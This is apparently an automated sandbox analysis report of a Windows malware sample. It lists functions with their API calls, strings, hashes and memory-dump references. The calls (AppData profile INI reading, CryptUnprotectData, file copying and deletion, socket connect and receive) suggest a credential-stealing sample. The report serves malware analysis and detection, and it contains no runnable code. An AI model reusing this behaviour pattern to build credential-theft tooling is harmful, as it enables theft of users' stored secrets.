Instruction Fuzzy Hash: B94300B0D052688BDB25CF28C894BEDBBB5FF58304F1082D9D449A7281EB756B85CF91

Function 00896770 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 334
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(00000000,?,009394F8,?,?,?,\*.*,00000004), ref: 008968E5
SetFileAttributesA.KERNEL32(?,00000080,?,?,009394F8,?,?), ref: 00896A8A
DeleteFileA.KERNEL32(?), ref: 00896AA4
FindNextFileA.KERNEL32(?,00000010), ref: 00896AB8
FindClose.KERNEL32(?), ref: 00896ACA
GetLastError.KERNEL32 ref: 00896AD0
SetFileAttributesA.KERNEL32(?,00000080), ref: 00896AED
RemoveDirectoryA.KERNEL32(?), ref: 00896B0B
GetLastError.KERNEL32 ref: 00896B20
std::_Throw_Cpp_error.LIBCPMT ref: 00896BE7
std::_Throw_Cpp_error.LIBCPMT ref: 00896BF8

Strings

\*.*, xrefs: 00896834

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: File$Find$AttributesCpp_errorErrorLastThrow_std::_$CloseDeleteDirectoryFirstNextRemove
String ID: \*.*
API String ID: 460640838-1173974218
Opcode ID: 0eafbaa8b02b164aef6ec35ac20ec9a9a3a1589ac91fbaab69c1049b127e1d71
Instruction ID: acd8c1429edc3f3bc57a42ea953d021a9cca1d09cda8763e97f3f3829b5cddb4
Opcode Fuzzy Hash: 0eafbaa8b02b164aef6ec35ac20ec9a9a3a1589ac91fbaab69c1049b127e1d71
Instruction Fuzzy Hash: 88D1EC70C01248CFDF10EFA8C9487EDBBB1FF55314F288259E055AB292E7749A85CB61

Function 0084F0D0 Relevance: 20.7, APIs: 6, Strings: 4, Instructions: 3171stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0084F224
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 0084F322
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 0084F515
CreateDirectoryA.KERNEL32(?,00000000), ref: 00851C76

Part of subcall function 00896CA0: GetFileAttributesA.KERNEL32(?,?,?,00810404), ref: 00896CFC
Part of subcall function 00896CA0: GetLastError.KERNEL32(?,?,00810404), ref: 00896D07

CreateDirectoryA.KERNEL32(?,00000000), ref: 00851F5D
lstrlenA.KERNEL32(?), ref: 0085348E

Strings

cannot use push_back() with , xrefs: 00853518
cannot use operator[] with a string argument with , xrefs: 00853571, 008535C6
~]d, xrefs: 0084FAC6
;Yb., xrefs: 0084FC4C

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: CreateDirectoryPrivateProfile$AttributesErrorFileFolderLastNamesPathSectionStringlstrlen
String ID: ;Yb.$cannot use operator[] with a string argument with $cannot use push_back() with $~]d
API String ID: 2833034228-1763774129
Opcode ID: 5dd1272e5789e7828e9de332d5c738fb4165ffdddfb72469ae1378053dae29ec
Instruction ID: 71013e7ee8d44b1f1eff7e90e079676ac1ec85d3e49f045235f562796917e576
Opcode Fuzzy Hash: 5dd1272e5789e7828e9de332d5c738fb4165ffdddfb72469ae1378053dae29ec
Instruction Fuzzy Hash: B893DCB4D052A98ADB65CF28C994BEDBBB1BF59304F0081EAD84DA7241DB742BC4CF45

Function 008463B0 Relevance: 17.5, APIs: 5, Strings: 4, Instructions: 1775stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00846504
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 00846602
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 008467F5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00848078
lstrlenA.KERNEL32(?), ref: 0084854F

Strings

cannot use push_back() with , xrefs: 0084840C, 0084860E
cannot use operator[] with a string argument with , xrefs: 008485BE, 00848670
;Yb., xrefs: 008474E8
Tz}9, xrefs: 00847260

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: ;Yb.$Tz}9$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 3203477177-4100205650
Opcode ID: 81469e48124abc8180abe70af370b93883635671c83bf7ce9e03c5a89bdcae0c
Instruction ID: eb2043b74a1d909345ba937e7ca6374f7be70447e4bb48cfaefb7e26871d5d62
Opcode Fuzzy Hash: 81469e48124abc8180abe70af370b93883635671c83bf7ce9e03c5a89bdcae0c
Instruction Fuzzy Hash: 5A230FB0D052688BDB65CF28C894BEDBBB1BF59304F1082D9E849A7241EB746BC4CF55

Function 008486B0 Relevance: 16.1, APIs: 4, Strings: 4, Instructions: 2129stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00848804
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 00848902
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 00848AF8
lstrlenA.KERNEL32(?), ref: 0084AE11

Strings

cannot use push_back() with , xrefs: 0084AD31, 0084AEBA
cannot use operator[] with a string argument with , xrefs: 0084AE83, 0084AF19
;Yb., xrefs: 0084968E
AN|5, xrefs: 00849560

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringlstrlen
String ID: ;Yb.$AN|5$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 1311570089-1903585501
Opcode ID: 1b3a0a0b5ed15b5839180334a8b7fb98167fcba644b3fc4ba1b10f6f32eeaa65
Instruction ID: 530047c4df21e1b13c5a3df07ec50cfc26cd1d2852ffee981635313c1e586f76
Opcode Fuzzy Hash: 1b3a0a0b5ed15b5839180334a8b7fb98167fcba644b3fc4ba1b10f6f32eeaa65
Instruction Fuzzy Hash: 1F4320B0D052688BDB25CF28C894BEEBBB5BF59304F1082D9D449A7242DB756BC4CF51

Function 00878590 Relevance: 12.1, APIs: 8, Instructions: 92
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 008785BA
getaddrinfo.WS2_32(?,?,?,00939328), ref: 0087863C
socket.WS2_32(?,?,?), ref: 0087865D
connect.WS2_32(00000000,00909BFC,?), ref: 00878671
closesocket.WS2_32(00000000), ref: 0087867D
freeaddrinfo.WS2_32(?,?,?,?,00939328,?,?), ref: 0087868A
WSACleanup.WS2_32 ref: 00878690
freeaddrinfo.WS2_32(?,?,?,?,00939328,?,?), ref: 008786A5

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: freeaddrinfo$CleanupStartupclosesocketconnectgetaddrinfosocket
String ID:
API String ID: 58224237-0
Opcode ID: f68931ec13f22bdd2084ce2683a74670e0b6c7de0cd06c83d187532fc3bff12e
Instruction ID: 202ac1ec755e95569b369e74f5c45bfb6174422c7c9fc388ac812225e830076c
Opcode Fuzzy Hash: f68931ec13f22bdd2084ce2683a74670e0b6c7de0cd06c83d187532fc3bff12e
Instruction Fuzzy Hash: BA31B072509700AFD7209F64DC4C62ABBE5FB94738F148B1DF9A8D21E0D770D8449A97

Function 0084D3A0 Relevance: 12.1, APIs: 4, Strings: 2, Instructions: 1570stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0084D4F4
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 0084D5F2
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 0084D7E5
lstrlenA.KERNEL32(?), ref: 0084EF32

Strings

cannot use push_back() with , xrefs: 0084EE76, 0084F02B
cannot use operator[] with a string argument with , xrefs: 0084EF9D, 0084EFDB, 0084F08D

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringlstrlen
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 1311570089-3306948993
Opcode ID: 8bce654aa31bd887c501651f71ce9f01311092f8729a7549e8e2cd80335ec844
Instruction ID: 21205768c5f57a4183df66b19470a06f2c26eceb8ef03b71e3c5c39b56371392
Opcode Fuzzy Hash: 8bce654aa31bd887c501651f71ce9f01311092f8729a7549e8e2cd80335ec844
Instruction Fuzzy Hash: B00321B0D052688BDB25CF28C994BEDBBB5BF58304F1082DDE449A7242EB746B84CF55

Function 0088F030 Relevance: 8.4, APIs: 5, Instructions: 876
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0088F09A
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088F329

Part of subcall function 00896CA0: GetFileAttributesA.KERNEL32(?,?,?,00810404), ref: 00896CFC
Part of subcall function 00896CA0: GetLastError.KERNEL32(?,?,00810404), ref: 00896D07

CreateDirectoryA.KERNEL32(?,00000000), ref: 0088F52A
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088F84A

Part of subcall function 00896CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00896D4F
Part of subcall function 00896CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00896D60

CreateDirectoryA.KERNEL32(?,00000000), ref: 0088FC7D

Part of subcall function 00896770: FindFirstFileA.KERNEL32(00000000,?,009394F8,?,?,?,\*.*,00000004), ref: 008968E5

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorFileThrow_std::_$AttributesErrorFindFirstFolderLastPath
String ID:
API String ID: 2127212259-0
Opcode ID: d0d84f9d798841cc5619bc0852212197460bdc20da38325eee76c9e72f457939
Instruction ID: a5cc6af602521acf3e7e09d92eaf9c5ba5da1ec27c58140fbd556dce2b6fa2e1
Opcode Fuzzy Hash: d0d84f9d798841cc5619bc0852212197460bdc20da38325eee76c9e72f457939
Instruction Fuzzy Hash: 11A2F1B4D0525DCBDF25CFA8C995AEDBBB0BF18300F2441A9D549B7252DB301A84CFA6

Function 0088E430 Relevance: 8.2, APIs: 5, Instructions: 731
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0088E49D

Part of subcall function 00896CA0: GetFileAttributesA.KERNEL32(?,?,?,00810404), ref: 00896CFC
Part of subcall function 00896CA0: GetLastError.KERNEL32(?,?,00810404), ref: 00896D07

Part of subcall function 00896CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00896D4F
Part of subcall function 00896CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00896D60

CreateDirectoryA.KERNEL32(?,00000000), ref: 0088E8C9
CopyFileA.KERNEL32(?,00000000,00000000), ref: 0088EA83
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088ED11
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088EE67

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorFileThrow_std::_$AttributesCopyErrorFolderLastPath
String ID:
API String ID: 1001086254-0
Opcode ID: 4429e23b117ea468d44637d5e312f919bd04582c12146bfb8e0e69012ba1970f
Instruction ID: 797404bca6bf5de4de70e1f5fc90d88920ef94bc31912208a900b7cbcd1346f3
Opcode Fuzzy Hash: 4429e23b117ea468d44637d5e312f919bd04582c12146bfb8e0e69012ba1970f
Instruction Fuzzy Hash: B18202B0D05259CBCF15DFA8C995BEEBBB0BF18304F104199D949B7242EB345A85CFA2

Function 00876000 Relevance: 6.3, APIs: 4, Instructions: 310
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 0087613F
FindNextFileA.KERNEL32(00000000,00000010), ref: 0087643F
GetLastError.KERNEL32 ref: 0087644D
FindClose.KERNEL32(00000000), ref: 0087645D

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Find$File$CloseErrorFirstLastNext
String ID:
API String ID: 819619735-0
Opcode ID: 94c209c13cdb51272bf56c7d966b291f8760659495d3b5396a3cb7879b600737
Instruction ID: f497230adefbaebf5c0a1214754b07d912cd130f2c7139e7991358c51da2d278
Opcode Fuzzy Hash: 94c209c13cdb51272bf56c7d966b291f8760659495d3b5396a3cb7879b600737
Instruction Fuzzy Hash: 99D16AB0C006498FDB24CF98C9987EDBBB1FF15314F148299D449AB286E7789A84CB51

Function 00876D80 Relevance: 5.0, APIs: 3, Instructions: 535fileCOMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00877051

Part of subcall function 007E2534: __EH_prolog3.LIBCMT ref: 007E2570

std::_Throw_Cpp_error.LIBCPMT ref: 00877062

Part of subcall function 008974C0: __fread_nolock.LIBCMT ref: 00897609

DeleteFileA.KERNEL32(?), ref: 008770EB

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$DeleteFileH_prolog3__fread_nolock
String ID:
API String ID: 3880692912-0
Opcode ID: 36f03a8311a9688be2aa4727946c515f367a7c9f2160d563701a0d9186c09303
Instruction ID: c03e3e97739a3c59db33f5ee2854c38b286b739f273e9eb9aa2b944a61a14ea6
Opcode Fuzzy Hash: 36f03a8311a9688be2aa4727946c515f367a7c9f2160d563701a0d9186c09303
Instruction Fuzzy Hash: 66329CB0D04248DFCB04DFA8D885BADBBB1FF49304F148159E805AB396DB75AA45CF92

Function 00876B00 Relevance: 4.7, APIs: 3, Instructions: 206encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00876B57
LocalFree.KERNEL32(?), ref: 00876B86
LocalFree.KERNEL32(?), ref: 00876C82

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: FreeLocal$CryptDataUnprotect
String ID:
API String ID: 2835072361-0
Opcode ID: 93ff19653459d5e18d76d1d57f797943252cbb3563994b99905383f06f027d14
Instruction ID: 3b9071887d2a1846360bfe08ca74e5485d7e748766a150eb3294574ed44dbda4
Opcode Fuzzy Hash: 93ff19653459d5e18d76d1d57f797943252cbb3563994b99905383f06f027d14
Instruction Fuzzy Hash: 7F71AF71D01248DFDB00DFA8C8457EDBBB4FB59310F10826AE854A7381EB796A45DBA1

Function 008EF550 Relevance: 3.5, APIs: 2, Instructions: 484COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008EF705
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008EFA07

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 7f1ad2f8ba68652bce324826abb8237d4a8c2164ca6653f2eb954d4537767872
Instruction ID: c1fdc00afb12f7487889bebfa9c41f59c16046b293f0d31779a19e8c86f9fd6f
Opcode Fuzzy Hash: 7f1ad2f8ba68652bce324826abb8237d4a8c2164ca6653f2eb954d4537767872
Instruction Fuzzy Hash: 5102D271604682AFDB14CF2AC840B6AB7E0FF9A314F14867DE659CB652D770ED50CB82

Function 00877B00 Relevance: 18.3, APIs: 12, Instructions: 279
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setsockopt.WS2_32(000002F0,0000FFFF,00001006,?,00000008), ref: 00877BA6
recv.WS2_32(?,00000004,00000002), ref: 00877BC1
WSAGetLastError.WS2_32 ref: 00877BC5
recv.WS2_32(00000000,0000000C,00000002,00000000), ref: 00877C43
recv.WS2_32(00000000,0000000C,00000008), ref: 00877C64
setsockopt.WS2_32(0000FFFF,00001006,?,00000008,?), ref: 00877D00
recv.WS2_32(00000000,?,00000008), ref: 00877D1B

Part of subcall function 00878590: WSAStartup.WS2_32 ref: 008785BA
Part of subcall function 00878590: getaddrinfo.WS2_32(?,?,?,00939328), ref: 0087863C
Part of subcall function 00878590: socket.WS2_32(?,?,?), ref: 0087865D
Part of subcall function 00878590: connect.WS2_32(00000000,00909BFC,?), ref: 00878671
Part of subcall function 00878590: closesocket.WS2_32(00000000), ref: 0087867D
Part of subcall function 00878590: freeaddrinfo.WS2_32(?,?,?,?,00939328,?,?), ref: 0087868A
Part of subcall function 00878590: WSACleanup.WS2_32 ref: 00878690

recv.WS2_32(?,00000004,00000008), ref: 00877E23
__Xtime_get_ticks.LIBCPMT ref: 00877E2A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00877E38
Sleep.KERNEL32(00000001,00000000,?,00002710,00000000), ref: 00877EB1
Sleep.KERNEL32(00000064,?,00002710,00000000), ref: 00877EB9

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: recv$Sleepsetsockopt$CleanupErrorLastStartupUnothrow_t@std@@@Xtime_get_ticks__ehfuncinfo$??2@closesocketconnectfreeaddrinfogetaddrinfosocket
String ID:
API String ID: 4125349891-0
Opcode ID: 8c8da921d2ab5200fa9c7d1545497bc6c0182d9f05f1b54e2b0cf46f6921324f
Instruction ID: 3dc4f70db09d75c75f7ce85f43630d8d6efe3d7dd8598a5cf12e09f12d5163cc
Opcode Fuzzy Hash: 8c8da921d2ab5200fa9c7d1545497bc6c0182d9f05f1b54e2b0cf46f6921324f
